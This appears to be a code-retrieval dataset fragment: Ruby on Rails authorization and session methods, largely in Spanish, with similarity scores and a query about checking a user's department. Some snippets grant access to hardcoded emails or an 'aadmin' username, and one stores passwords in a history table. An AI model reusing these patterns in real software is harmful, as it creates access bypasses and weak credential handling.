"def check_if_user_access\n if current_user && current_user.admin?\n @all_orders = Order.all\n @orders = @all_orders.paginate(page: params[:page])\n elsif current_user && current_user.role == \"Partner\"\n redirect_to root_path\n flash[:danger] = I18n.t 'flash.your_company_not_verified'\n elsif current_user && current_user.role == \"Client\"\n @all_orders = @user_company.orders\n @orders = @all_orders.paginate(page: params[:page])\n else\n end\n end",
"def users_only\n deny_access(\"Necesitas crear una cuenta para entrar a esta sección\") unless signed_in?\n end",
"def registrar_usuario\n business_user = User.new\n business_user.email = self.email\n business_user.password = business_user.generar_password\n business_user.client_type = 'empresa'\n business_user.save\n update(user_id: business_user.id, user_created_id: business_user.id)\n #luego de registrar al usuario se almacena la contraseña en la tabla Historypassword\n #donde se almacenaran las 3 ultimas usadas\n password_business = HistoryPassword.new\n password_business.password = business_user.password\n password_business.user_id = business_user.id\n password_business.save\n end",
"def set_usuario\n @user = Usuario.select('id,nombre,apellido,usuario,twitter').find(params[:id])\n end",
"def getUsuario\n\t\treturn @usuario\n\tend",
"def checkAcl(path,principal,readGranted,writeGranted)\n acl = @authz.getacl(path)\n\t# check user1\n\tassert_not_nil(acl[principal],\"Expected for find ACE for #{principal}\"+@authz.hashToString(acl))\n\tace = acl[principal]\n\tif ( readGranted || writeGranted ) then\n\t assert_not_nil(ace[\"granted\"],\"Expected ace for #{principal} to have granted something granted ace was nil \"+@authz.hashToString(acl))\n\t puts(\"ACE for user #{principal} was \"+@authz.hashToString(ace)+\":\"+ace[\"granted\"].to_s)\n\tend\n\tif ( !readGranted || !writeGranted ) then\n assert_not_nil(ace[\"denied\"],\"Expected ace for #{principal} to have denied something, denied was nil \"+@authz.hashToString(acl))\n puts(\"ACE for user #{principal} was \"+@authz.hashToString(ace)+\":\"+ace[\"denied\"].to_s)\n end\n\n if ( readGranted ) then\n assert_equal(true,ace[\"granted\"].include?(\"jcr:read\"),\"Expected ace for #{principal} to have jcr:read granted ace was \"+@authz.hashToString(ace))\n if ( ace[\"denied\"] != nil ) then\n assert_equal(false,ace[\"denied\"].include?(\"jcr:read\"),\"Expected ace for #{principal} not to have jcr:read denied ace was \"+@authz.hashToString(ace))\n\t end\n else\n assert_equal(true,ace[\"denied\"].include?(\"jcr:read\"),\"Expected ace for #{principal} to have jcr:read denied ace was \"+@authz.hashToString(ace))\n if ( ace[\"granted\"] != nil ) then\n assert_equal(false,ace[\"granted\"].include?(\"jcr:read\"),\"Expected ace for #{principal} not to have jcr:read granted ace was \"+@authz.hashToString(ace))\n\t end\n end\n if ( writeGranted ) then\n assert_equal(true,ace[\"granted\"].include?(\"jcr:write\"),\"Expected ace for #{principal} to have jcr:write granted ace was \"+@authz.hashToString(ace))\n if ( ace[\"denied\"] != nil ) then\n assert_equal(false,ace[\"denied\"].include?(\"jcr:write\"),\"Expected ace for #{principal} not to have jcr:write denied ace was \"+@authz.hashToString(ace))\n\t end\n else\n assert_equal(true,ace[\"denied\"].include?(\"jcr:write\"),\"Expected ace for #{principal} to have jcr:write denied ace was \"+@authz.hashToString(ace))\n if ( ace[\"granted\"] != nil ) then\n assert_equal(false,ace[\"granted\"].include?(\"jcr:write\"),\"Expected ace for #{principal} not to have jcr:write granted ace was \"+@authz.hashToString(ace))\n\t end\n end\n end",
"def can_access user\n return self.users.include? user\n end",
"def recibir_auto(usuario)\n if self.estado_id == 2\n traza_creada = Traza.create(:copia_id => self.id, :movimiento_id => 2, :usuario => usuario, :buzon_id => usuario.puesto.buzon_id)\n return false unless traza_creada\n self.estado_id = 3\n return true if self.save \n #si llega aqui, algo malo paso.\n return false\n end\n end",
"def iniciarSesion (email,nombre,apellido,id)\n session[:email] = email\n session[:nombre] = nombre\n session[:apellido] = apellido\n session[:id] = id\n @persona = Persona.find(id)\n if !(@persona.empleados_id.nil?)\n session[:rol] = @persona.empleados_id\n else\n session[:rol] = nil\n end\n end",
"def authorized_by(user)\n user.id == self.sender_id\n end",
"def show\n @empresa = Empresa.find_by(params[:user_id])\n # @empresa = Empresa.find_by_user_id(current_user.id) #buscar en la tabla empresa el user_id que sea igual al id del actual usuarios\n\n end",
"def access_robot\n raise 'unauthorised' if current_user != @robot.user \n end",
"def correct_user\n @usuario = Usuario.find(params[:id])\n redirect_to(root_url) unless current_user?(@usuario)\n end",
"def crear_actualizar_usuario(nusuario, ldapus, grupos, prob, \n clave = nil)\n usuario = Usuario.where(nusuario: nusuario).take\n if usuario.nil?\n usuario = crear_usuario_min(nusuario, ldapus, prob, clave)\n if usuario.nil?\n prob << 'No pudo crear usuario: ' + prob\n return nil\n end\n end\n return actualizar_usuario(usuario, ldapus, grupos, prob, clave)\n end",
"def usr_msg? convo, usr\n (usr.id == convo.user_id && convo.status == 'active') || (usr.id == convo.recipient_id && convo.recipient_status == 'active')\n end",
"def link_usuario(titulo, enlace)\n link_to titulo, enlace if not session[:usuario]\n end",
"def remitente\n user = User.find(self.envia_id) if self.envia_id\n remitente ||= user.persona.nombre_completo if user && user.persona.nombre_completo\n return remitente\n end",
"def logged_in?\n #Dependiendo de lo que regrese current_user\n if current_user\n #Regresa true si el usuario existe\n true\n else\n #Si no existe regresa false\n false\n end\n end",
"def show\n @users = User.all\n authorize @colaboradore\n end",
"def acces_nome\r\n @nome\r\n end",
"def can_access?(user)\n user == self.user\n end",
"def active_for_authentication?\n super && bloqueado == 0\n end",
"def recuerda(usuario)\n\t\tusuario.recordar\n\t\tcookies.permanent.signed[:id_usuario] = usuario.id\n\t\tcookies.permanent[:token_recuerda] = usuario.token_recuerda\n\tend",
"def liaison\n inverse_accounts.last.user\n end",
"def with_valid_user\n if(current_user && current_user.id.to_s == params[:user_id].to_s)\n @user = current_user\n else\n flash[:error] = \"Debes estar autenticado para acceder a este área\"\n redirect_to :controller => :home, :action => :index\n end\n end",
"def authorized_user\n @event = Event.friendly.find(params[:id])\n if @event.creator_id != current_user.id\n if current_user.email == 'pubudu@eventhub.lk' || current_user.email == 'pavithra@eventhub.lk'\n return true\n end\n redirect_to root_path, alert: \"Oops! You don't have permission to do that\"\n end\n end",
"def verificar_permiso\n if user_signed_in?\n unless current_user.employee.nil?\n @existe_permiso = false\n current_user.employee.security_profile.security_role.security_role_menus.each do |security_role_menu|\n if security_role_menu.security_menu.controller == params[:controller] \n @existe_permiso = true\n break\n elsif params[:controller] == \"service/services\" and session[:atender] == true\n @existe_permiso = true\n end\n if params[:controller] == \"security/role_type_menus\" || params[:controller] == \"security/role_menus\"\n @existe_permiso = true\n end\n end\n if current_user.username == \"aadmin\"\n @existe_permiso = true\n end\n if @existe_permiso == false\n redirect_to root_path\n end\n end\n end\n end",
"def proyectos_propios?\n if params[:usuario_id].present?\n self.proyectos = proyectos.left_joins(:usuario).where('usuarios.id = ?', params[:usuario_id].to_i)\n end\n end",
"def logado?\n !admin_atual.nil?\n end",
"def correct_user(id)\n @user = User.find(id)\n unless current_user? @user\n flash[:danger] = \"Azione non autorizzata\"\n redirect_to groups_path\n end\n end",
"def reactivacion_guardar\r\n\t\tif session[:usuario_id]\t\r\n\t\t\tif params[:Instructor].to_s != \"0\"\r\n\t\t\t\tusuari = Usuario.where(id: params[:Instructor]).take\r\n\t\t\t\tif !usuari.blank?\r\n\t\t\t\t\tusuari.activo = 1\r\n\t\t\t\t\tusuari.save\r\n\t\t\t\t\tpers = Persona.where(usuario_id: usuari.id).take\r\n\t\t\t\t\tnombres = pers.nombres.to_s.split.map(&:capitalize).join(' ') + \" \" + pers.apellidos.to_s.split.map(&:capitalize).join(' ')\r\n\t\t\t\t\tflash[:success]= \"Se ha habilitado a \" + nombres + \" de manera exitosa\"\r\n\t\t\t\telse\r\n\t\t\t\t\tflash[:danger]= \"Error al seleccionar usuario, puede no existir en la Base de Datos\"\r\n\t\t\t\tend\r\n\t\t\telse\r\n\t\t\t\tflash[:info]= \"Debe seleccionar un instructor primero\"\r\n\t\t\tend\r\n\t\t\tredirect_to :back\r\n\t\telse\r\n\t\t\tredirect_to controller:\"forminst\", action: \"index\"\r\n\t\tend\r\n\tend",
"def index\n if current_user.rol == 1\n @users = User.order(:id)\n else\n @mensaje = \"Seccion exclusiva para administrador\"\n end\n end",
"def participa?(otro_user)\n cousers.include?(otro_user)\n end"
] |
[
"0.6571516",
"0.646132",
"0.64290553",
"0.63437504",
"0.6303104",
"0.61469847",
"0.61469847",
"0.6069323",
"0.6067246",
"0.6043428",
"0.6016864",
"0.6016177",
"0.5942837",
"0.5905743",
"0.5895983",
"0.5885552",
"0.58311933",
"0.5805476",
"0.5786475",
"0.57707316",
"0.57252365",
"0.5716838",
"0.57121104",
"0.5708049",
"0.57060295",
"0.56866574",
"0.5670064",
"0.5655792",
"0.56486213",
"0.56429994",
"0.5641334",
"0.5639338",
"0.56311625",
"0.5621851",
"0.5616627",
"0.5613195",
"0.56036127",
"0.5595132",
"0.5575858",
"0.5569682",
"0.5550551",
"0.5541506",
"0.55389553",
"0.55331904",
"0.5528757",
"0.55267066",
"0.5526225",
"0.55078745",
"0.5501646",
"0.5496772",
"0.5494598",
"0.54945356",
"0.54838455",
"0.54729897",
"0.5471465",
"0.5469454",
"0.54684985",
"0.5462989",
"0.5461892",
"0.5460648",
"0.5453136",
"0.54520005",
"0.5437518",
"0.5429975",
"0.54292476",
"0.54131085",
"0.54077005",
"0.54021657",
"0.5398708",
"0.5397324",
"0.53959954",
"0.5388524",
"0.53867257",
"0.5372142",
"0.53711736",
"0.5366717",
"0.5364336",
"0.5363074",
"0.53609693",
"0.535855",
"0.53558874",
"0.53536487",
"0.53520906",
"0.5351179",
"0.535083",
"0.5349086",
"0.5340975",
"0.53331643",
"0.5333052",
"0.5331344",
"0.5330859",
"0.53275144",
"0.53228694",
"0.53220606",
"0.5319485",
"0.53164613",
"0.53143364",
"0.5313063",
"0.5310513",
"0.5307325",
"0.5305796"
] |
0.0
|
-1
|
comprobar que el departamento se corresponde al del usuario logeado, si no es administrador. Si es adm se debera corresponder a la empresa.
|
def correct_dpto
if current_user.role<3 && !params[:department].nil?
unless current_user.department_id==params[:department].to_i
flash[:danger] = "ERROR: No tiene acceso al recurso solicitado"
redirect_to current_user
end
elsif current_user.role==3
redirect_to current_user unless current_emp.departments.where(:id => params[:department])
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def user_departments(user=current_user)\n if user.role? :superadmin\n @departments = Department.active\n else\n @departments = @department || user.department\n end\n end",
"def set_admin_departamento\n @admin_departamento = Admin::Departamento.find(params[:id])\n end",
"def get_department_admin\n @agency,@dept = Agency.find(params[:agency]), Department.find(params[:dept]) \n role = @dept.role_memberships.where(:role_id=>2)\n @dept_admin = User.find(role[0].user_id) if !role.blank?\n render :layout => false\n end",
"def admin_has_dept\r\n\t\tif logged_in? && admin_user && current_user.user_level == \"department_admin_access\" && !current_user.department_id.present?\r\n\t\t\tlog_out\r\n\t\t\tredirect_to root_path\r\n\t flash[:error] = \"You have not been assigned a department. Contact the System Administrator.\"\r\n\t\tend\r\n\tend",
"def departamento_nombre\n\t departamento.nombre if departamento\n\tend",
"def auth_user_managed_departments(user_id)\n u = User.find(user_id)\n# arr_depts = u.employe.manageddepartments\n# u.employe.manageddepartments.each do |node|\n# node.progenies(node, arr_depts)\n# end\n arr_depts = Department.find(:all, :conditions => \"incode like '\" + u.employe.department.incode + \"%'\")\n return arr_depts.collect{|rec| rec.id}\n end",
"def isAdministrador(sistema,perfil)\n if !sistema.nil? and !perfil.nil?\n if sistema == 'SDM-Admin' and perfil == 'admin_sdm'\n return true\n end\n end\n return false\n end",
"def validar_admin\n \n \n logger.debug \"<<<<< validar sesion en empleados #{session[:intranet].inspect}>>>>>\" \n if(session[:intranet]!=nil)\n \n @employees=session[:intranet]\n if(session[:intranet]['admin']==false)\n redirect_to intranet_path\n end\n else\n redirect_to intranet_path \n end\n \n end",
"def validate_usuario\n if current_usuario.tipo!='Administrador' || !current_usuario.activo\n redirect_to root_path\n end\n end",
"def checkIdEscuelaForDirector\n if !self[:id_permission].nil? && self.user_permission.name == \"Director\"\n if !self[:escuela_id].nil?\n if !Escuela.exists?(id: self[:escuela_id])\n self.errors[:carrera_id] = \"La escuela seleccionada no se encuentra en el sistema.\"\n end\n else\n # El director creado no tiene una carrera asignada.\n self.errors[:escuela_id] = \"Debe seleccionar una escuela para el usuario director.\"\n end\n end\n end",
"def buscar_usuario(nombre_de_usuario)\n #dos usuarios son iguales si su nombre de usuario es el mismo\n @usuarios.detect(-> do\n raise UsuarioInexistente\n end) {|usuario| usuario.nombre_de_usuario == nombre_de_usuario}\n end",
"def can_do_admin?\n true # current_user[:department_name] == 'IT'\n end",
"def check_department\n if self.department_id.nil?\n self.department = Department.find_by_name(\"Management\")\n end\n end",
"def administrators\n adminrole = Role.find(:first, :conditions => \"#{self.class.primary_key}=#{self.id} AND name='Administrator'\")\n adminrole ?\n adminrole.users.select{|u| u.company==self} : nil\n end",
"def usuario_actual\n \t#se guarda al usuario actual que esta loggeado por cuestion de eficiencia\n \t#para no accesar a la base de datos todo el tiempo\n \t@usuario_actual ||= Alumno.find(session[:alumno_id]) if session[:alumno_id]\n end",
"def set_unidad\n @unidad = current_user.empresa.unidades.find(params[:id])\n end",
"def department?\n role?('department')\n end",
"def assegure_uma_permanencia_de_admin\n if Usuario.count.zero?\n raise Error.new \"Não é permitido deletar o último usuário\"\n end\n end",
"def set_department\n @department = current_user.userable.department\n end",
"def exibe_para_usuario?\n \t\tif usuario_signed_in?\n \t\t\tif current_usuario.admin?\n \t\t\t\treturn true\n \t\t\telse\n \t\t\t\treturn false\n \t\t\tend\n \t\telse\n \t\t\treturn false\n \t\tend\n \tend",
"def avanzar_unidad_apoyo_consultoria(usuario,unidad)\n unless self.Estatus.const_id == 'ST0004'\n self.errors.add(:solicitud, I18n.t('Sistema.Body.Modelos.Solicitud.Errores.estatus_no_adecuado'))\n else\n if unidad == 1\n validacion = SolicitudRecaudo.validar_consultoria(self.id)\n unless validacion\n self.errors.add(:solicitud, I18n.t('Sistema.Body.Modelos.Solicitud.Errores.analisis_debe_ser_copletado'))\n return\n end\n self.consultoria = true\n mensaje = I18n.t('Sistema.Body.Modelos.Solicitud.Errores.analisis_legal_solicitud')\n elsif unidad == 2\n validacion = SolicitudAvaluo.validar_avaluo(self.id)\n unless validacion == true\n self.errors.add(:solicitud, validacion)\n return\n end\n self.avaluo = true\n mensaje = I18n.t('Sistema.Body.Modelos.Solicitud.Errores.revision_inspeccion_avaluos')\n elsif unidad == 3\n validacion = SolicitudResguardo.validar_resguardo(self.id)\n unless validacion == true\n self.errors.add(:solicitud, validacion)\n return\n end\n self.resguardo = true\n mensaje = I18n.t('Sistema.Body.Modelos.Solicitud.Errores.revision_resguardo_institucional')\n end\n self.save\n ControlSolicitud.create_new(self.id, self.estatus_id, usuario, I18n.t('Sistema.Body.General.avanzar'), self.estatus_id, mensaje)\n if self.resguardo == true && self.avaluo == true && self.consultoria == true\n estatus_origen_id = self.estatus_id\n configuracion_avance = ConfiguracionAvance.find_by_estatus_origen_id(self.estatus_id)\n self.estatus_id = configuracion_avance.estatus_destino_id\n self.fecha_actual_estatus = Time.now.strftime(\"%Y/%m/%d\")\n self.save\n ControlSolicitud.create_new(self.id, self.estatus_id, usuario, I18n.('Sistema.Body.General.avanzar'), estatus_origen_id, '')\n end\n end\n end",
"def logear_usuario(nombre_de_usuario,clave_de_usuario)\n @usuario_actual = validar_usuario(nombre_de_usuario,clave_de_usuario)\n @usuario_actual.logear\n end",
"def deslogear_usuario\n if existe_usuario_logeado?\n @usuario_actual.desloguear\n else\n raise NingunUsuarioLogeado\n end\n end",
"def is_administrador?\n self.role.name.eql?(Role::ADMINISTRADOR)\n end",
"def direccion_correspondencia\n dir = nil\n if self.class.to_s=='ClientePersona'\n dir = self.persona.direcciones.find_by_correspondencia(true)\n dir = self.persona.direcciones.find_by_tipo('H') if dir.nil?\n dir = self.persona.direcciones.find_by_tipo('O') if dir.nil?\n dir = self.persona.direcciones.find_by_tipo('T') if dir.nil?\n else\n dir = self.empresa.direcciones.find_by_correspondencia(true)\n dir = self.empresa.direcciones.find_by_tipo('P') if dir.nil?\n dir = self.empresa.direcciones.find_by_tipo('S') if dir.nil?\n dir = self.empresa.direcciones.find_by_tipo('L') if dir.nil?\n dir = self.empresa.direcciones.find_by_tipo('D') if dir.nil?\n dir = self.empresa.direcciones.find_by_tipo('O') if dir.nil?\n end\n return dir\n end",
"def is_organizer\n \t@event = Event.find(params[:id])\n \tputs \"*\"*1000\n \tif current_user != @event.organizer && current_user.is_admin == false\n \t\tflash[:error] = \"Vous n'avez pas l'autorisation d'etre ici !\"\n \t\tredirect_to event_path\n \tend\n end",
"def admin_logado?\n !!admin_logado\n end",
"def checkCurrentUserEmployee(empleado)\n \t\tif current_user.empleado_id == empleado.id\n \t\t\treturn true\n \t\tend\n \tend",
"def index\n if session[:comunidad_id] == nil\n not_found\n else \n cliente = current_user.cliente_id\n comunidad = session[:comunidad_id]\n @empleados = Empleado.all.includes(:comunidad).where(\"comunidades.cliente_id = '#{cliente}' and comunidades.id ='#{comunidad}'\").references(:comunidad)\n end\n end",
"def current_department\n if current_user && !current_user.is_super_admin?\n if !session[:department_id].nil?\n @current_department ||= session[:department_id]\n else\n @current_department ||= default_department\n end\n end\n end",
"def set_department\n @department = current_ou.departments.find(params[:id])\n end",
"def es_propietario\n set_entrega\n if @entrega.recolector != current_user\n render json: {entrega: [\"No permitido para este usuario\"]}, status:401\n end\n end",
"def verificar_autenticado_admin\n unless session[:usuario_admin] #else if,tiene quer ser falso\n bitacora \"Intento de accceso sin autenticacion a la zona del admin\"\n flash[:error]=\"Debe autenticarse como Administrador\"\n redirect_to :action => \"index\" , :controller => \"externo\"\n return false\n end\n end",
"def user_admin\n user_role.in? [\"Department Admin\",\"College Admin\",\"Tech User\"] if user_role\n end",
"def isAdmin?\n return current_usuario != nil && current_usuario.admin\n end",
"def default_department\n default_department ||= current_user.role_memberships.where(:default_dept => true).first.department.id\n end",
"def set_usuario\n @relacionamento = Relacionamento.where(id: params[:id]).first\n end",
"def consultar\n if user_signed_in?\n unless current_user.employee.nil?\n @permiso_consultar = false\n @security_role_type = Security::RoleType.find_by(name: \"Consultar\").name\n current_user.employee.security_profile.security_role.security_role_menus.each do |security_role_menu| \n if security_role_menu.security_menu.controller == params[:controller] \n security_role_menu.security_role_type_menus.each do |role_type|\n if @security_role_type == role_type.security_role_type.name || role_type.security_role_type.name == \"Pagar\"\n @permiso_consultar = true\n break\n end\n end\n end\n end\n if current_user.username == \"aadmin\"\n @permiso_consultar = true\n end\n if params[:action] == \"show\" && @permiso_consultar == false\n redirect_to root_path\n end\n return @permiso_consultar\n end\n end\n end",
"def is_administrator?(con_name)\n Organizer.find_by(username: session[:username],\n convention: con_name,\n role: \"Administrator\") != nil\n end",
"def remitente\n user = User.find(self.envia_id) if self.envia_id\n remitente ||= user.persona.nombre_completo if user && user.persona.nombre_completo\n return remitente\n end",
"def actualizar_usuario(usuario, ldapus, grupos, prob, clave=nil)\n usuario.nombres = valor_campo_ldap(ldapus, :givenname)\n usuario.apellidos = valor_campo_ldap(ldapus, :sn)\n usuario.email = valor_campo_ldap(ldapus, :mail)\n usuario.uidNumber = valor_campo_ldap(ldapus, :uidNumber)\n if !ldapus.respond_to?(:userPassword)\n # deshabilitado en LDAP\n # Si falta deshabilitar en base\n if usuario.fechadeshabilitacion.nil?\n usuario.fechadeshabilitacion = Date.today\n end\n else \n # habilitado en LDAP, habilitar y guardar clave si hay\n usuario.fechadeshabilitacion = nil\n unless clave.nil?\n usuario.encrypted_password = BCrypt::Password.create(\n clave, \n {:cost => Rails.application.config.devise.stretches}\n )\n end\n end\n usuario.ultimasincldap = Date.today\n usuario.save\n if (usuario.errors.messages.length > 0)\n prob << usuario.errors.messages.to_s\n return nil\n end\n\n if grupos\n # Los grupos debieron sincronizarse antes, ahora solo \n # asegurar que están los de grupos y solo esos.\n grupobd = []\n Msip::GrupoUsuario.where(usuario_id: usuario.id).map do |gu|\n grupobd << gu.grupo_id\n end\n pore = grupobd-grupos\n pora = grupos-grupobd\n pore.each do |g|\n mg = Msip::GrupoUsuario.find(usuario_id: usuario.id, grupo_id: g)\n mg.delete\n end\n pora.each.each do |g|\n n = Msip::GrupoUsuario.new(usuario_id: usuario.id, grupo_id: g)\n n.save\n end\n end\n\n return usuario\n end",
"def loc_groups_to_admin(dept)\n return dept.loc_groups if self.is_admin_of?(dept)\n dept.loc_groups.delete_if{|lg| !self.is_admin_of?(lg)}\n end",
"def ha_accedido?\n\t\t!usuario_actual.nil?\n\tend",
"def convidar\n @compra = Compra.find(params[:compra_id])\n\n if params[:user_select]\n user_select = params[:user_select]\n\n user = User.find_by_nome(user_select.split(\" - \").first)\n\n if(current_user != user && !@compra.users.where(:id => user.id).present?)\n @compra.users << user\n\n redirect_to compra_produtos_path(@compra), notice: \"#{user.nome.upcase} adicionado a sua lista de compras com sucesso!!\"\n else\n redirect_to compra_produtos_path(@compra), alert: \"#{user.nome.upcase} você já pertence a essa lista.\"\n end\n end\n end",
"def set_departamento\n @departamento = Departamento.find(params[:id])\n end",
"def set_departamento\n @departamento = Departamento.find(params[:id])\n end",
"def admin_or_validParticipant\n\t concurso = Concurso.find(Enunciado.find(params[:enunciado_id]).concurso_id)\n redirect_to(root_path) unless \n (current_user.admin? || ( participante(concurso) && (tRestante(concurso) > 0) ) ) \n end",
"def resta_demas\n if emp_cuentab.saldo_actual < total and tipo_movimiento == 'egreso'\n errors.add(:emp_cuentab, 'Saldo insuficiente')\n end\n end",
"def valida_plantilla(current_usuario, idplant)\n true\n end",
"def set_departamento\n @departamento = Departamento.find(params[:id])\n end",
"def set_departments\n @dptos=Department.where(enterprise_id: current_emp.id)\n end",
"def controlador(cont)\n Permiso.find_by_controlador_and_rol_id(cont, Permiso.current_user.rol_id)\n end",
"def alta_profesores\n\t\t@tab = \"admin\"\n\t \tprof = params[:miembro]\n\t \t\n\t \t\tx = User.find(prof)\n\t \t\tx.profesor = true\t#se le dan derechos de profesor\n\t \t\tx.admin = false\n\t \t\tx.estudiante = false\n\t \t\tx.save\n\t \t\n\t \trespond_to do |format|\n\t\t format.html { redirect_to(alta_profesores_lista_path)}\n\t\t format.xml { head :ok }\n\t\tend\n\tend",
"def revisa_deuda\n if com_compra.adeudos[:cuentas_con_deuda] == 0\n com_compra.pagado!\n else\n com_compra.pendiente!\n end\n end",
"def show\n @empresa = Empresa.find_by(params[:user_id])\n # @empresa = Empresa.find_by_user_id(current_user.id) #buscar en la tabla empresa el user_id que sea igual al id del actual usuarios\n\n end",
"def user_admin?\n \t@admin_user = Usuario.find(session[:user_id]).admin\n end",
"def set_administracao_relatorios_diario\n @administracao_relatorios_diario = Administracao::RelatoriosDiario.find(params[:id])\n end",
"def department\n @_department ||= ActiveRecord::Department.\n where(name: self.value).first!\n end",
"def validate_supervisor_or_admin \r\n return validate_supervisor if @current_user.is_supervisor?\r\n return @current_user.is_administrator?\r\n end",
"def require_admin\n redirect_to(access_denied_path) unless current_user.is_admin_of?(@department)\n end",
"def get_unit_admin\n @agency, @depts, @unit = params[:agency], params[:dept], Unit.find(params[:unit])\n role = @unit.role_memberships.where(:role_id=>4)\n @unit_admin = User.find(role[0].user_id) if !role.blank? \n render :layout => false\n end",
"def auth_user_belongs_to_departments(user_id)\n u = User.find(user_id)\n ds = u.department.ancestors\n return ds.collect { |rec| rec.id}\n end",
"def mentor_department\n return read_attribute(:mentor_department) unless read_attribute(:mentor_department).blank?\n primary_mentor.department.try(:strip) if primary_mentor\n end",
"def is_admin_of?(dept)\n permission_list.include?(dept.permission) && self.is_active?(dept)\n end",
"def apellido\n self.usuario_sput.apellido\n end",
"def realizar_cuestionario_demora\n @paciente = Paciente.find(params[:id])\n @accionPerfilamiento = \"Cuestionario por Demora\"\n end",
"def correct_emp\n @emp=Enterprise.find(params[:id])\n unless current_emp.id==@emp.id || current_user.role>3\n flash[:danger] = 'ERROR. Acceso no autorizado al recurso solicitado.'\n redirect_to(root_path)\n end\n end",
"def is_loc_group_admin?(dept)\n dept.loc_groups.any?{|lg| self.is_admin_of?(lg)}\n end",
"def set_departamento\n @departamento = Departamento.find(params[:id])\n end",
"def for_department(department_name); end",
"def set_asign_departament_user\n @asign_departament_user = AsignDepartamentUser.find(params[:id])\n end",
"def existe_usuario_logeado?\n @usuarios.any? {|usuario| usuario.logeado}\n end",
"def set_listadeprecio\n @listadeprecio = current_user.empresa.listadeprecios.find(params[:id])\n end",
"def apresentacao\n if @permissao === \"convidado\"\n puts \"o usuário selecionado possui a permissao de Convidado\"\n end\n if @permissao === \"autenticado\"\n puts \"o usuário selecionado possui a permissao de Autenticado\"\n end\n if @permissao === \"admin\"\n puts \"o usuário selecionado possui a permissao de Admin\"\n end\n end",
"def registrar_usuario(nombre_de_usuario,clave_de_usuario)\n usuario_a_registrar = crear_usuario(nombre_de_usuario,clave_de_usuario)\n begin\n buscar_usuario(nombre_de_usuario)\n raise UsuarioExistente\n\n rescue UsuarioInexistente\n agregar_usuario(usuario_a_registrar)\n end\n end",
"def set_usuario\n #if UsuarioUsuario.find(params[:id]).exists?\n @usuario = Usuario.find(params[:id])\n #else\n # @usuario = Nil\n #end\n end",
"def set_contrato_empleado\n @empleado = Empleado.find(params[:empleado_id])\n @contrato_empleado = @empleado.contrato_empleados.find(params[:id])\n end",
"def creador\n\t\tusuario\n\tend",
"def is_active?(dept)\n if DepartmentsUser.find(:first, :conditions => { :user_id => self, :department_id => dept, :active => true})\n true\n else\n false\n end\n end",
"def mostrar_pag_apresentacao\n if @permissao === \"admin\" or @permissao === \"autenticado\" or @permissao === \"convidado\"\n puts \"esta é a pág de apresentação do usuario #{@email}\"\n else\n puts \"vc nao tem permissao para acessar esta página!\"\n end\n end",
"def set_paciente\n @paciente = Paciente.find params[:id]\n unless current_user.id == @paciente.user_id\n flash[:notice] = \"No tienes acceso a ese paciente.\"\n redirect_to home_path()\n return\n end\n end",
"def set_usuario_gusto\r\n @usuario_gusto = UsuarioGusto.find(params[:id])\r\n end",
"def is_name_admin?\n\t\tunless self.designation != 'admin' \n\t\t\tself.errors[:admin_designation] << \"=> You can't assign the admin designation to another employees\"\n\t\tend\n\tend",
"def authorize\n if current_user.nil? || current_user.tipo_usuario == \"Empleado\"\n redirect_to login_url, notice: \"No esta autorizado para ver esto. Por favor ingrese al sistema o reingrese como administrador.\"\n end\n end",
"def assign_department\n if !params[:department_id].nil? || !params[:department_id].blank?\n users= Department.find_by_id(params[:department_id]).users.where(\"role_id !=2\")\n render :json=>[users] if users\n end\n end",
"def get_department\n begin\n @company = Company.find(params[:company_id])\n @department = @company.departments.find(params[:id])\n rescue\n redirect_to departments_path\n end\n end",
"def set_usuario\n @usuario = Usuario.find_by_email(current_usuario.email)\n end",
"def logado?\n !admin_atual.nil?\n end",
"def validate_supervisor\r\n return false unless @current_user.is_supervisor?\r\n expense = Expense.find(params[:id]) rescue nil\r\n return false if expense.blank?\r\n expense.user.supervisor_id == @current_user.id || expense.project.supervisor_id == @current_user.id\r\n end",
"def set_admin_doctipo\n @admin_doctipo = Doctipo.find(params[:id])\n end",
"def set_usuario\n \n end",
"def require_same_organizer\n if current_organizer != @event.organizer and !current_organizer.admin?\n flash[:danger] = \"You can only edit or delete your own events\"\n redirect_to root_path\n end \n end",
"def create\n user = Empleado.find_by(usuario: params[:session][:usuario].downcase)\n if !user\n flash.now['not_user'] = 'Usuario no existe'\n render 'new'\n elsif user.authenticate(params[:session][:password])\n log_in user\n if user.categoria == 0\n redirect_to empleados_path if user.categoria == 0\n else\n redirect_to empleado_proyectos_path(user)\n end\n else\n flash.now['not_pass'] = 'Password incorrecto'\n render 'new'\n end\n end",
"def create\n @funcionario = Funcionario.new(params[:funcionario])\n if current_user.is_role?(:administrador) \n else\n @funcionario.user = current_user \n end \n flash[:notice] = \"Funcionario salvo com sucesso!\" if @funcionario.save\n # respond_with @funcionario, :location => [:admin, @funcionario]\n redirect_to admin_funcionarios_path\n end",
"def create\n @local_deportivo = LocalDeportivo.new(params[:local_deportivo]) \n \n if(usuario_logueado.rol==\"3\")\n @local_deportivo.estado = \"C\" \n else \n @local_deportivo.estado = \"T\"\n end \n \n @local_deportivo.usuario_id = usuario_logueado.id \n \n if @local_deportivo.save\n if(usuario_logueado.rol==\"3\")\n redirect_to root_url, :notice => \"Su local sido creado satisfactoriamente!\"\n else\n redirect_to root_url, :notice => \"Se ha registrado una solicitud de creacion de Local Deportivo. Esta pendiente de aprobacion por un Administrador\"\n end\n else\n respond_to do |format|\n format.html { render action: \"new\" }\n format.json { render json: @local_deportivo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def has_no_admin?\n if e = Employee.find_by_employee_type(\"Administrator\")\n\t if User.find_by_employee_id(e)\n\t\t return false\n\t\t else\n\t\t return true\n\t\t end\n\t else \n\t\t return true\n\t end\n end",
"def verificar_permiso\n if user_signed_in?\n unless current_user.employee.nil?\n @existe_permiso = false\n current_user.employee.security_profile.security_role.security_role_menus.each do |security_role_menu|\n if security_role_menu.security_menu.controller == params[:controller] \n @existe_permiso = true\n break\n elsif params[:controller] == \"service/services\" and session[:atender] == true\n @existe_permiso = true\n end\n if params[:controller] == \"security/role_type_menus\" || params[:controller] == \"security/role_menus\"\n @existe_permiso = true\n end\n end\n if current_user.username == \"aadmin\"\n @existe_permiso = true\n end\n if @existe_permiso == false\n redirect_to root_path\n end\n end\n end\n end",
"def set_lista_departamento\n @lista_departamento = Departamento.find(params[:id])\n end",
"def department\n fetch('company.department')\n end",
"def destinatario\n user = User.find(self.recibe_id) if self.recibe_id\n destinatario ||= user.persona.nombre_completo if user && user.persona\n return destinatario\n end"
] |
[
